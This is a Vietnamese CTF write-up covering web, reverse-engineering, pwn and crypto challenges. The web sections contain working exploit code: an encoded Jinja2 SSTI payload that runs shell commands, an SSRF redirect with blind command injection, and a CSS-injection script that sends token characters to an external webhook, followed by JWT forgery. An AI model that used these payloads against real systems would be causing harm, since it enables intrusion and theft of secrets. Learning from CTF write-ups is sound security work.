---
# System prepended metadata

title: Nhập môn lập trình contest

---

# Nhập môn lập trình contest
# WEB
## SSTI FOR KIDS
Ở đây, mình thấy rằng bài này đã ban một số từ khóa vô cùng cẩn thận, làm khó khăn cho việc sử dụng SSTI một cách trực tiếp.
<details>
<summary>Forbidden keywords</summary>
    
```python=
def check_payload(payload):
    forbidden_chars = ["[", "]", "_", ".", "x", "dict", "config", "mro", "popen", "debug", "cycler", "os", "globals", "flag", "cat"]
    payload = payload.lower()
    for char in forbidden_chars:
        if char in payload:
            return True
    return False
```
</details>

Chính vì vậy, mình tìm hiểu và tìm được một blog về [SSTI](https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/), sử dụng ý tưởng về việc thay thế các object class bằng hàm attr() để truy cập vào thuộc tính của đối tượng request (mà ở đây là `__class__`). Đồng thời, mình cũng kết hợp với hàm format() để đưa các chuỗi tên của thuộc tính mình cần khai thác mà không cần phải gọi trực tiếp, nhằm bypass các forbidden keywords mà đề bài đã cho.

![image](https://hackmd.io/_uploads/B1RTHEPLyx.png)

Đây là payload mình dùng để khai thác SSTI:
```jinja2=
{{ request|attr("application")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("__import__")("os")|attr("popen")("cat $(find / -type f -name *lag*)")|attr("read")() }}
```
Và sau khi thay đổi lại payload mình sẽ được
```jinja2=
{{request|attr("%c%c%c%c%c%c%c%c%c%c%c"|format(97,112,112,108,105,99,97,116,105,111,110))|attr("%c%c%c%c%c%c%c%c%c%c%c"|format(95,95,103,108,111,98,97,108,115,95,95))|attr("%c%c%c%c%c%c%c%c%c%c%c"|format(95,95,103,101,116,105,116,101,109,95,95))("%c%c%c%c%c%c%c%c%c%c%c%c"|format(95,95,98,117,105,108,116,105,110,115,95,95))|attr("%c%c%c%c%c%c%c%c%c%c%c"|format(95,95,103,101,116,105,116,101,109,95,95))("%c%c%c%c%c%c%c%c%c%c"|format(95,95,105,109,112,111,114,116,95,95))('o''s')|attr('p''open')('c"a"t $(find / -type f -name *lag*)')|attr("re""ad")()}}
```

Đây là đoạn code exploit cho SSTI for Kids:
<details>
<summary>exploit.py</summary>

```python=
import requests
from urllib.parse import quote
def gen(p):
    num_c = len(p)

    chrs = ""

    for i in p:
        chrs += str(ord(i)) + ","
    chrs = chrs[:-1]

    return f'attr(\"{"%c"*num_c}\"|format({chrs}))'
def gen2(p):
    num_c = len(p)

    chrs = ""

    for i in p:
        chrs += str(ord(i)) + ","
    chrs = chrs[:-1]

    return f'(\"{"%c"*num_c}\"|format({chrs}))'

url = 'http://localhost:38787/'
#url = 'http://chall.w1playground.com:38787/'
payload = f'{{request|{gen("application")}|{gen("__globals__")}|{gen("__getitem__")}{gen2("__builtins__")}|{gen("__getitem__")}{gen2("__import__")}(\'o\'\'s\')|attr(\'p\'\'open\')(\'c"a"t $(find / -type f -name *lag*)\')|attr("re""ad")()}}'
print('{'+payload+'}')
params = {
    'ssti': '{'+payload+'}'
}
response = requests.get(url, params=params)
if response.status_code == 200:
    print(response.text)
else:
    print(f"Request failed with status code: {response.status_code}")
```
</details>

![image](https://hackmd.io/_uploads/rJwuSVw8yg.png)

> Flag: W1{You_are_not_a_kid_anymore!888888888}

## DOX LIST
<details>
<summary>app.py</summary>
    
```python=
from flask import Flask, request,  jsonify
import subprocess
import pymongo

client = pymongo.MongoClient("mongodb://mongodb:27017/app")
app_db = client['app']
app = Flask(__name__)

@app.route('/')
def hello_world():
    return 'Hello, World!'

@app.route('/health_check')
def health_check():
    cmd = request.args.get('cmd') or 'ping'
    health_check = f'echo \'db.runCommand("{cmd}").ok\' | mongosh mongodb:27017/app --quiet'
    try:
        result = subprocess.run(health_check, shell=True, capture_output=True, text=True, timeout=2)
        return 'Database is responding' if '1' in result.stdout else 'Database is not responding'
    except subprocess.TimeoutExpired:
        return 'Database is not responding'
@app.route('/api/dogs')
def get_dogs():
    dogs = []
    for dog in app_db['doxlist'].find():
        dogs.append({
            "name": dog['name'],
            "image": dog['image']
        })
    return jsonify(dogs)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)
```
</details>

Ở bài này, mình thấy được rằng project có một folder backend được làm bằng python. Và mình sẽ không thể truy cập vào các đường dẫn trong app.py vì trong file docker, backend không được khai báo port nên container này sẽ không mở bất kì port nào cho backend.

<details>
<summary>docker-compose.yml</summary>
    
```dockerfile=
services:
  frontend:
    build: ./frontend
    environment:
      - PORT=4000
    ports:
      - "4000:4000"
  backend:
    build: 
      context: ./backend
      dockerfile: Dockerfile 
    depends_on:
      - mongodb
  mongodb:
    build: 
      context: ./mongodb
      dockerfile: Dockerfile
    restart: unless-stopped 

```
</details>

Lúc này, nhờ hint về việc tìm một CVE của nuxt, mình thấy rằng nuxt có [CVE-2024-42352](https://nvd.nist.gov/vuln/detail/CVE-2024-42352) liên quan đến SSRF. 

![image](https://hackmd.io/_uploads/SyUI_NDI1e.png)


Trong đoạn [commit](https://github.com/nuxt/icon/commit/4564518c2b2ed8235a7715056ccdfce96ca3d0ff) mà một tác giả của nuxt đã chia sẻ, ta thấy rằng nuxt nhận icon bằng việc thêm các tên icon đằng sau `/api/_nuxt_icon/` và sau đó nhận tên icon bằng hàm basename, và cuối cùng sử dụng URL constructor để tạo một url `https://api.iconify.design/{icon_name}`. 

![image](https://hackmd.io/_uploads/SJ6VONwL1e.png)


Tuy nhiên, trong tài liệu của Mozilla về [URL Constructor](https://developer.mozilla.org/en-US/docs/Web/API/URL/URL), mình thấy rằng URL() khi nhận 2 param url, nó sẽ ưu tiên url đầu tiên được nhận, ví dụ như `URL("https://hi.com","hello.com")` thì nó sẽ ưu tiên tạo `https://hi.com`, đồng thời hàm basename sẽ lấy chuỗi nằm ở sau dấu `/` cuối cùng, nên khi chúng ta nhập `http://localhost:4000/api/_nuxt_icon/http:backend:5000` nó sẽ dẫn ra hàm hello_world trong backend (vì backend chung một mạng lưới của docker)

![image](https://hackmd.io/_uploads/HyczONPLyl.png)

Thế nhưng, có một vấn đề về việc chúng ta sẽ không thể dẫn vào các subdirectory như `/health_check` hay `/api/dogs` vì basename() chỉ lấy chuỗi nằm ở sau `/` cuối cùng. Chính vì thế, mình nảy ra một ý tưởng được lấy cảm hứng từ bài [PDFy](https://medium.com/@Pdaysec/htb-pdfy-challenge-490e678bd521) của Hack The Box, thay vì truy cập trực tiếp vào `http://backend:5000`, mình sẽ tự host một trang web php (sử dụng ngrok) và dùng đặc tính của header [Location](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Location) để redirect tới trang backend, từ đó ta có thể tùy chỉnh các subdirectory trong header Location và dẫn tới `/health_check`.

![image](https://hackmd.io/_uploads/H11sOEPU1e.png)


Trong Docker Desktop, mình nhận thấy rằng các lệnh như curl, nslookup, ... đều không có trong /bin (thực ra wget có thể sử dụng được nhưng lúc đó mình chưa nghĩ tới :v). Mình thấy rằng ở hàm health_check, khi có tồn tại một số 1 trong response của server, nó sẽ trả ra Database is responding và ngược lại. Chính vì thế mình nghĩ tới Blind Commmand Injection, dựa vào việc flag chứa số 1 (format là `W1{...}`) mình sẽ bruteforce từng kí tự bằng lệnh grep, nếu grep trả về đoạn flag thì Data is responding sẽ hiện lên.

![image](https://hackmd.io/_uploads/ByqD54vIkg.png)

![image](https://hackmd.io/_uploads/r1xUY4w8kx.png)

Đây là đoạn code mà mình sử dụng để exploit:
<details>
<summary>index.php</summary>
    
```php=
<?php header('location:http:backend:5000/health_check?cmd=")\'%26%26grep%20%5EW1%7B'.$_REQUEST['x'].'%20%2Fflag%2A;%23'); ?>
```
</details>
<details>
<summary>exploit.py</summary>

```python=
import requests

url = "http://chall.w1playground.com:38889/api/_nuxt_icon/http:1080-14-186-87-51.ngrok-free.app?x="
payload = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_"
res = ""
def oscmdi(inp):
	global payload
	for i in payload:
		print("Testing char: " + i)
		data = inp+i
		# print(data)
		req = requests.get(url=url+data)
		if "Database is responding" in req.text:
			inp+=i
			global res
			res = inp
			print("Found something: "+inp)
			oscmdi(inp)
			break;
def run():
	global payload
	# payload = oscmdi_dic()
	oscmdi(res)
	print("End Blind OS Command Injection!!! The password is "+res)
run()
```
</details>

>Flag: W1{cut3_d0x_c4n_b3_d4ng3r0u5_jn3}

## ART GALLERY ADVANCED
<details>
<summary>bot.js</summary>
    
```javascript=
const puppeteer = require("puppeteer");

async function visit(url) {
	const browser = await puppeteer.launch({
		args: ["--no-sandbox"],
		headless: "new",
	});
	let context = await browser.createBrowserContext();
	try {
		// console.log(`visit url: ${url}`);

		const page = await context.newPage();
		
		await page.goto(`http://localhost:1337/login`, {
			waitUntil: 'networkidle2'
		});
        await page.type('input[name="username"]', 'admin');
        await page.type('input[name="password"]', process.env.ADMIN_PASSWORD || 'admin');
        await page.click('button[type="submit"]');
        await page.waitForNavigation();
        
        await page.goto(`${url}`, {
			waitUntil: 'networkidle2',
			timeout: 10000
		});

		await new Promise(resolve => setTimeout(resolve, 5000));
		await browser.close();
		
	} catch (error) {
		console.error("Error:", error);
	}

	try {
		await browser.close();
		console.log("Browser Closed");
	} catch (e) {
		console.log(e);
	}
}

module.exports = { visit };
```
</details>

Ở bài này mình thấy rằng có một file bot.js dùng duyệt browser và truy cập vào url được gửi đến, đây là một đặc điểm để nhận biết cái bài về xss. 

<details>
<summary>index.js</summary>
    
```javascript=
const express = require('express');
const app = express();
const jwt = require('jsonwebtoken');
const nunjucks = require('nunjucks');
const cookieParser = require('cookie-parser');
const auth = require('./middleware/auth');
const csp = require('./middleware/csp');
const debug = require('./middleware/debug');
const rateLimit = require('express-rate-limit');
const { users, JWT_SECRET, setDebugMode, getDebugMode } = require('./setup');
const crypto = require('crypto');
const { visit } = require('./bot');
const PORT = 1337;

const templates = new Map();

app.use(cookieParser());
app.use(express.json());
nunjucks.configure('templates', {
    autoescape: true,
    express: app
});
const apiLimiter = rateLimit({
    windowMs: 60 * 1000, // 1 minutes
    limit: 8,
    message: {
        success: false,
        message: 'Too many requests'
    },
});
app.use(express.static('public'));
app.use((req, res, next) => {
    res.nonce = crypto.randomBytes(18).toString('base64').replace(/[^a-zA-Z0-9]/g, '');
    next();
})
app.use((req, res, next) => {
    // Should be safe right?
    if (!req.theme) {
        const theme = req.query.theme;
       if (theme && !theme.includes("<") && !theme.includes(">")) {
            req.theme = theme;
        }else{
            req.theme = 'white';
        }
    }
    next();
})

users.set('admin', Object.freeze({
    username: 'admin',
    password: process.env.ADMIN_PASSWORD || 'admin',
    role: 'admin',
    security_token: crypto.randomBytes(15).toString('base64').replace(/[^a-zA-Z0-9]/g, '').toLowerCase()
}));

console.log(users.get('admin').password);
console.log(users.get('admin').security_token);

templates.set('1', {
    author: 'admin',
    template_name: 'Test template',
    description: 'Yukino is the best ?',
    content: 'Check this image <br> <img src="https://r4.wallpaperflare.com/wallpaper/502/690/499/anime-girls-anime-yukinoshita-yukino-yahari-ore-no-seishun-love-comedy-wa-machigatteiru-wallpaper-c90048fd217aaddb064738df4081561d.jpg" />',
    id: 1,
    coverImage: 'https://r4.wallpaperflare.com/wallpaper/502/690/499/anime-girls-anime-yukinoshita-yukino-yahari-ore-no-seishun-love-comedy-wa-machigatteiru-wallpaper-c90048fd217aaddb064738df4081561d.jpg'
});

app.get('/', auth, csp, (req, res) => {
    res.render('templateslist.html', {
        user: req.user,
        templates: templates,
        theme: req.theme,
        nonce: req.nonce
    });
});

app.get('/login', (req, res) => {
    res.sendFile(__dirname + '/templates/login/login.html');
});

app.get('/register', (req, res) => {
    res.sendFile(__dirname + '/templates/register/register.html');
});

app.post('/register', (req, res) => {
    const {
        username,
        password
    } = req.body;
    if (users.has(username)) {
        return res.json({
            success: false,
            redirect: '/register',
            message: 'Username already exists'
        });
    }
    const SECURITY_TOKEN = crypto.randomBytes(15).toString('base64').replace(/[^a-zA-Z0-9]/g, '').toLowerCase()
    var info = {
        username,
        password,
        role: 'user',
        security_token: SECURITY_TOKEN
    };
    users.set(username, info);
    return res.json({
        success: true,
        redirect: '/login'
    });
});

app.post('/login', (req, res) => {
    const {
        username,
        password
    } = req.body;
    const user = users.get(username);

    if (!user || !(password === user.password)) {
        return res.json({
            success: false,
            redirect: '/login',
            message: 'Invalid username or password'
        });
    }

    const token = jwt.sign({
        username: user.username,
        role: user.role,
        SECURITY_TOKEN: user.security_token
    }, JWT_SECRET, {
        expiresIn: '3h'
    });

    res.cookie('token', token);

    return res.json({
        success: true,
        redirect: '/'
    });

});

app.get('/profile', auth, csp, (req, res) => {
    res.render('profile.html', {
        user: req.user,
        theme: req.theme,
        nonce: res.nonce
    });
});

app.post('/profile', auth, (req, res) => {
    try {
        const {
            name: new_username
        } = req.body;
        const current_Username = req.user.username;
        if (current_Username === 'admin') {
            return res.json({
                success: false,
                redirect: '/profile',
                message: 'What are you trying to do ?'
            });
        }

        if (!new_username) {
            return res.json({
                success: false,
                redirect: '/profile',
                message: 'All fields are required'
            });
        }

        if (users.has(new_username)) {
            return res.json({
                success: false,
                redirect: '/profile',
                message: 'Username already exists'
            });
        }

        const userdata = users.get(current_Username);

        users.delete(current_Username);

        users.set(new_username, {
            ...userdata,
            username: new_username
        });
        const user = users.get(new_username);

        const token = jwt.sign({
            username: user.username,
            role: user.role,
            SECURITY_TOKEN: user.security_token
        }, JWT_SECRET, {
            expiresIn: '1h'
        });

        res.cookie('token', token);

        return res.json({
            success: true,
            redirect: '/profile',
            message: 'Username has been changed successfully'
        });
    } catch {
        return res.json({
            success: false,
            redirect: '/profile',
            message: 'Something went wrong'
        });
    }

});

app.get('/logout', (req, res) => {
    res.clearCookie('token');
    return res.redirect('/login');
});

app.get('/create', auth, csp, (req, res) => {
    res.render('create.html', {
        user: req.user,
        theme: req.theme,
        nonce: res.nonce
    });
});

app.post('/create', auth, (req, res) => {
    try {
        const {
            template_name,
            description,
            content,
            coverImage
        } = req.body;
        if (!template_name || !description || !content) {
            return res.json({
                success: false,
                redirect: '/create',
                message: 'All fields are required'
            });
        }
        var id = crypto.randomBytes(16).toString("hex");
        var info = {
            template_name,
            description,
            content,
            author: req.user.username,
            id,
            coverImage: coverImage || 'https://wallpapercrafter.com/desktop/150052-anime-anime-girls-night-sky.jpg'
        }
        templates.set(id, info);

        return res.json({
            success: true,
            redirect: '/create',
            message: 'Template created successfully'
        });
    } catch {
        return res.json({
            success: false,
            redirect: '/create',
            message: 'Something went wrong'
        });
    }

});

app.get('/view/:id', auth, csp, (req, res) => {
    var template = templates.get(req.params.id);
    if (!template) {
        return res.status(404).send('Not found');
    }
    return res.render('render/viewtemplate.html', {
        user: req.user,
        author: template.author,
        template_name: template.template_name,
        description: template.description,
        content: template.content,
        id: template.id,
        nonce: res.nonce, // Added nonce to the render for security
        theme: req.theme // Added theme to the render
    });
});

app.post('/report', auth, apiLimiter, async (req, res) => {
    var url = req.body.url;
    if (!url) {
        return res.status(404).json({
            message: 'Not found'
        });
    }
    if (!url.startsWith('http://localhost:1337/view/')) {
        return res.json({
            success: false,
            message: 'Nice try kiddo!'
        });
    }
    console.log("visiting url: ", url);
    try {
        visit(url);
    } catch (error) {
        console.log(error);
    }
    return res.json({
        success: true,
        message: 'Report sent successfully'
    });
});

// ADMIN ZONE

app.get('/api/debug', auth, csp, (req, res) => {
    if (req.user.role === 'admin' && (req.ip === '::1' || req.ip === "127.0.0.1" || req.ip === "::ffff:127.0.0.1")) {
        var debug_mode = req.query.debug_mode;
        if (debug_mode === 'true' && getDebugMode() === 'false') {
            setDebugMode('true');
            console.log('Debug mode has been enabled');
            res.json({
                success: true,
                message: 'Debug mode enabled and will turn off in 5 mins'
            });
            setTimeout(() => {
                setDebugMode('false');
                console.log('Debug mode has been turned off');
            }, 5 * 60 * 1000);
            return;
        }
    } else {
        return res.status(403).send('Forbidden');
    }
});

app.get('/admin', auth, csp, (req, res) => {
    if (req.user.role === 'admin' && req.user.SECURITY_TOKEN === users.get('admin').security_token) {
        return res.render('admin/admin.html', {
            user: req.user,
            FLAG: process.env.FLAG || 'W1{dont_you_wish_you_had_this_flag:)}'
        });
    } else {
        return res.status(403).send('Forbidden');
    }
});

app.get('/api/update', auth, debug, csp, (req, res) => {
    if (req.user.role === 'admin' && (req.ip === '::1' || req.ip === "127.0.0.1" || req.ip === "::ffff:127.0.0.1")) {
        var username = req.query.username;
        // Grant developer role
        console.log(username, " is now a developer");
        users.get(username).role = 'developer';
    } else {
        return res.status(403).send('Forbidden');
    }

});

// Developer Zone

app.get('/api/dev', auth, csp, debug, (req, res) => {
    if (req.user.role === 'developer' || req.user.role === 'admin') {
        return res.send('JWT_SECRET: ' + JWT_SECRET);
    } else {
        return res.status(403).send('Forbidden');
    }
});

app.listen(PORT,
    () => console.log(`Server is listening at http://localhost:${PORT}`)
)
```
</details>

Đọc sơ qua qua đoạn code, mình thấy rằng tác giả đã gợi ý một số chi tiết để khai, bao gồm việc thay đổi theme được lấy từ param trên url (trong file index.js), và cắt các security token thành các thẻ span nhỏ (trong file profile.html)

![image](https://hackmd.io/_uploads/H1dM8rw81e.png)

![image](https://hackmd.io/_uploads/ByAeIBD8ke.png)


Ở hint đầu tiên, mình thấy rằng khi mình nhập theme=black, background sẽ được thay đổi thành background: black, và màu nền của trang web được thay đổi. Tuy nhiên, mình có thể nhập bất cứ thứ gì, kể cả việc kiểm soát các thuộc tính của thẻ chứa SECURY TOKEN.

![image](https://hackmd.io/_uploads/H1qASS_IJx.png)

Chính vì thế, mình search về css injection thì nhận được bài [blog](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html) sau:

![image](https://hackmd.io/_uploads/SkHQdBdUke.png)

Có thể thấy, mình có thể sử dụng unicode-range của [@font-face](https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face) để kiểm tra sự tồn tại của chữ cái đó, nếu nó tồn tại, nó sẽ fetch đoạn url của loại font đó, lúc này ta chỉ cần đưa webhook vào src để css fetch là đã có thể xác thực được việc chữ cái đó có tồn tại hay không. Ngoài ra, nhận thấy rằng SECURITY_TOKEN được tách ra thành các span nhỏ, mình có thể dùng span:nth-child(num) để cụ thể các span sử dụng trong thẻ có class SECURITY_TOKEN. Ngoài ra, đường dẫn yêu cầu phải khởi đầu bằng `http://localhost:1337/view`, nên mình sẽ sử dụng path traversal bằng việc gán thành `http://localhost:1337/view/../profile?theme=`. Lúc này đường dẫn sẽ lược bỏ view và sử dụng subdirectory /profile.

Đây là đoạn code mình dùng để tạo 8 request mỗi 61 giây để tránh rate limit:

<details>
<summary>cssInjection.py</summary>
    
```python=
import urllib.parse
import string
import requests
import time
EVIL = "https://webhook.site/6aaa3ec1-bbcd-4752-a032-ae98be37403c"
URL = "http://chall.w1playground.com:38888"
LOCAL = "http://localhost:1337"
s = requests.Session()
def gen_css(n, char):
    return "@font-face{font-family:'hjhj';src:url('"+EVIL+"?"+char+'='+str(n+1)+"');unicode-range:U+00"+str(hex(ord(char))).replace("0x", "")+";}"
def generate_payloads():
    i = 0
    token = string.ascii_lowercase + string.digits
    for n in range(0,20):
        gencss = "white;}"
        for char in token:
            gencss += gen_css(n, char)
            print(f"Payload {n+1}-{char}")
        gencss += " .SECURITY_TOKEN span:nth-child("+str(n+2)+"){font-family:'hjhj';}"
        payload = LOCAL+"/view/../profile?theme="+urllib.parse.quote(gencss)
        print(payload)
        post_resp = s.post(URL + "/report", json={"url": payload})
        print(f"Report response: {post_resp.status_code} - {post_resp.text}")
        i += 1
        if i % 8 == 0:
            print(f"Sleeping for 61 seconds...\n")
            time.sleep(61)     

# reg_resp = s.post(URL + "/register", json={"username": "guest", "password": "guest"})
# print(f"Registration response: {reg_resp.status_code} - {reg_resp.text}")
        
login_resp = s.post(URL + "/login", json={"username": "guest", "password": "guest"})
print(f"Login response: {login_resp.status_code} - {login_resp.text}")
generate_payloads()
```
</details>

Lúc này sau khi thu thập được SECURITY_TOKEN, mình chỉ cần gán chỉ account của mình role developer bằng cách bật debug_mode lên, và truy cập /api/update và gán username của mình. Cuối cùng, mình truy cập thẳng vào `http://chall.w1playground.com:38888/api/dev` để nhận secret key của jwt và gán SECRET_TOKEN vừa tìm được.

Đây là đoạn code mình dùng để exploit:
<details>
<summary>exploit.py</summary>
    
```python=
import requests
import jwt
import datetime
URL = "http://chall.w1playground.com:38888"
LOCAL = "http://localhost:1337"
def run():
    s = requests.Session()
    login_resp = s.post(URL + "/login", json={"username": "guest", "password": "guest"})
    print(f"Login response: {login_resp.status_code} - {login_resp.text}")
    debug_mode = s.post(URL + "/report", json={"url": f"{LOCAL}/view/../api/debug?debug_mode=true"})
    print(f"Debug mode response: {debug_mode.status_code} - {debug_mode.text}")   
    update = s.post(URL + "/report", json={"url": f"{LOCAL}/view/../api/update?username=guest"})
    print(f"Update response: {update.status_code} - {update.text}")
    jwt_resp = s.get(URL + "/api/dev")
    print(f"JWT response: {jwt_resp.status_code} - {jwt_resp.text}")
    secret = jwt_resp.text.replace("JWT_SECRET: ", "").strip()
    print(f"JWT secret: {secret}")
    current_time = int(datetime.datetime.now().timestamp())
    payload = {
        "username": "admin",
        "role": "admin",
        # edit SECRET_TOKEN (get from css_injection.py)
        "SECURITY_TOKEN": "uixblodu4smzrlroagnm",  # Default token
        "iat": current_time,
        "exp": current_time + 3600
    }
    new_token = jwt.encode(payload, secret, algorithm="HS256")
    print(f"Generated JWT: {new_token}")
    s.cookies.clear()
    s.cookies.set("token", new_token)
    flag_resp = s.get(URL + "/admin")
    print(f"Flag response: {flag_resp.status_code} - {flag_resp.text}")
run()
```
</details>

>Flag:W1{m15c0nf16_l34d5_70_4dm1n157r470r_p3rm5_message_@yuu2802_70_5h0w_y0ur_50lu710n}

# REV
## GIACMOTRUA1

Ở bài này, mình nhận được 1 file .pyc. Sử dụng tool [pylingual.io](https://pylingual.io/), mình đã có thể decompile được file về code python:

<details>
<summary>GiacMoTrua1.py</summary>
    
```python=
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: chall.py
# Bytecode version: 3.12.0rc2 (3531)
# Source timestamp: 2024-12-27 06:57:21 UTC (1735282641)

dic = [0] * 85
dic[0] = 33
dic[1] = 35
dic[2] = 36
dic[3] = 37
dic[4] = 38
dic[5] = 40
dic[6] = 41
dic[7] = 42
dic[8] = 43
dic[9] = 44
dic[10] = 45
dic[11] = 46
dic[12] = 47
dic[13] = 48
dic[14] = 49
dic[15] = 50
dic[16] = 51
dic[17] = 52
dic[18] = 53
dic[19] = 54
dic[20] = 55
dic[21] = 56
dic[22] = 57
dic[23] = 58
dic[24] = 59
dic[25] = 60
dic[26] = 61
dic[27] = 62
dic[28] = 63
dic[29] = 64
dic[30] = 65
dic[31] = 66
dic[32] = 67
dic[33] = 68
dic[34] = 69
dic[35] = 70
dic[36] = 71
dic[37] = 72
dic[38] = 73
dic[39] = 74
dic[40] = 75
dic[41] = 76
dic[42] = 77
dic[43] = 78
dic[44] = 79
dic[45] = 80
dic[46] = 81
dic[47] = 82
dic[48] = 83
dic[49] = 84
dic[50] = 85
dic[51] = 86
dic[52] = 87
dic[53] = 88
dic[54] = 89
dic[55] = 90
dic[56] = 91
dic[57] = 97
dic[58] = 98
dic[59] = 99
dic[60] = 100
dic[61] = 101
dic[62] = 102
dic[63] = 103
dic[64] = 104
dic[65] = 105
dic[66] = 106
dic[67] = 107
dic[68] = 108
dic[69] = 109
dic[70] = 110
dic[71] = 111
dic[72] = 112
dic[73] = 113
dic[74] = 114
dic[75] = 115
dic[76] = 116
dic[77] = 117
dic[78] = 118
dic[79] = 119
dic[80] = 120
dic[81] = 121
dic[82] = 122
dic[83] = 123
dic[84] = 125
flag = input('Let me help you check your flag: ')
length = len(flag)
ans = [0] * length * 2
for i in range(length):
    ans[i] = dic[ord(flag[i]) ^ 112]
for i in range(length, length * 2):
    ans[i] = ans[i - length]
fin = ''
for i in range((23 * length + 16) % length, (23 * length + 16) % length + length):
    fin += chr(ans[i])
if fin == 'R8Abq,R&;j%R6;kiiR%hR@k6iy0Ji.[k!8R,kHR*i??':
    print('Rightttt!')
    print('Heyy you are really lovely, i promise!')
else:
    print('Think more....')
```
</details>

Có thể thấy dic bao gồm các chữ số và kí tự theo A-Z,a-z,0-9 và một số kí tự đặc biệt. Tiếp theo, mình có ans là một mảng dài gấp đôi flag, lúc này các phần tử thứ của ans được gán từ dic theo công thức flag[i] xor với 112.Sau đó chuỗi ans bị xoay lại. Cuối cùng, fin sẽ gán các kí tự từ (23 * độ dài của flag + 16) % length tới (23 * độ dài của flag + 16) % độ dài của flag + độ dài của flag, và check xem nó có giống với "R8Abq,R&;j%R6;kiiR%hR@k6iy0Ji.[k!8R,kHR*i??" hay không. 

Đây là đoạn code mình dùng để dịch ngược lại.
<details>
<summary>exploit.py</summary>
    
```python=
dic = [33, 35, 36, 37, 38, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 
       53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 
       71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 
       89, 90, 91, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 
       110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 125]
rev_dic = {v: i for i, v in enumerate(dic)}
def flag(encrypted):
    slice_start = (23 * len(encrypted) + 16) % len(encrypted)
    rotated = encrypted[len(encrypted) - slice_start:] + encrypted[:len(encrypted) - slice_start]
    flag = ''
    for c in rotated:
        val = rev_dic[ord(c)]
        orig_char = val ^ 112 
        flag += chr(orig_char)
    return flag
encrypted = 'R8Abq,R&;j%R6;kiiR%hR@k6iy0Ji.[k!8R,kHR*i??'
print(flag(encrypted))
```
</details>

> Flag: W1{H3pe_y3U_w1ll_enJ9y_th2s_ch311_s0_m3c1!}

## GIACMOTRUA2
Trong bài này, khi mình sử dụng IDA để kiểm tra file, mình thấy rằng có một đoạn code khá giống flag. 

![image](https://hackmd.io/_uploads/BkdRGsdIyx.png)

Cứ tưởng bở rằng đã tìm được flag, thế nhưng khi mình submit thì hệ thống là không nhận. Thế là mình lại kiểm tra lại và phát hiện ra rằng còn một hàm LookThis() dùng để thay đổi các kí tự của biến flag sau đó mới kiểm tra. Chính vì vậy mình mang luôn flag mình vừa tìm được vào hàm LookThis() và nhận được flag thật.

![image](https://hackmd.io/_uploads/B1hj7s_8Jl.png)

> Flag: W1{evil_sleeps_a5_NoOn_4v4ry_time!}

## EASY FLAG CHECKER
Ở bài này, mình sử dụng ghidra và tìm thấy một hàm FUN_00101269() mang cho mình khá nhiều thông tin. Ngay khi chúng ta nhập vào biến local_4f8, sẽ có một biến con trỏ local_4f8 cùng với việc đã xor với 0x38. Sau đó nó so sánh với &DAT_00104020. Vậy mình chỉ cần dò &DAT_00104020 và xor lại với 0x38 là ra được flag.

<details>
<summary>exploit.py</summary>
    
```python=
dat = [
    0x6f, 0x09, 0x43, 0x4e, 0x0b, 0x4a, 0x41, 0x67,
    0x0b, 0x0c, 0x4b, 0x41, 0x67, 0x4a, 0x09, 0x5f,
    0x50, 0x0f, 0x07, 0x45
]

flag = ''.join([chr(value ^ 0x38) for value in dat])
print(flag)
```
</details>

# PWN
## GUESS ME
Ở bài này, theo như mình quan sát, khi mình đoán một số bất kì, nó sẽ cho mình kết quả về số đấy lớn hơn kết quả hay nhỏ hơn. Dựa vào mô hình bài toán trên, mình sử dụng binary search để khai thác.

<details>
<summary>exploit.py</summary>
    
```python=
from pwn import *

p = remote('chall.w1playground.com', 12900)
p.recvuntil(b'Good luck!\n')
p.recvline().decode()
l, r = 1, 100000000
while l <= r:
    mid = (l + r) // 2
    p.recvline().decode()
    p.sendline(str(mid)) 
    response = p.recvline().decode()
    print(str(mid)+": "+response.strip())
    if 'correct' in response:
        print(mid)
        break
    elif 'Too high' in response:
        r = mid - 1
    elif 'Too low' in response:
        l = mid + 1
p.interactive()
```
</details>
    
# CRYPTO
## HIX

Ở bài này, có thể thấy rằng code đọc file flag, sau đó cộng 20 rồi chia mod 130. Sau đó random việc sử dụng hàm băm. Vì vậy mình sẽ tạo một tổ hợp chứa tất cả các kết quả băm, sau đó tìm đoạn hàm băm đã được sử dụng và làm ngược lại các phép tính để ra được flag.
    
<details>
<summary>exploit.py</summary>
    
```python=
import hashlib
def generate_lookup_table():
    lookup = {}
    methods = ['md5', 'sha256', 'sha3_256', 'sha3_512', 'sha3_384', 
               'sha1', 'sha384', 'sha3_224', 'sha512', 'sha224']
        for i in range(130):
        base_hash = hashlib.sha512(str(i).encode()).hexdigest()
        possible_hashes = set()
        for method in methods:
            hash_obj = hashlib.new(method)
            hash_obj.update(base_hash.encode())
            possible_hashes.add(hash_obj.hexdigest())
        for hash_result in possible_hashes:
            lookup[hash_result] = i

    return lookup

def decrypt_flag(encrypted_data):
    lookup = generate_lookup_table()
    
    flag = ""
    for hash_value in encrypted_data:
        if hash_value in lookup:
            num = lookup[hash_value]
            original = (num - 20) % 130
            flag += chr(original)
    
    return flag

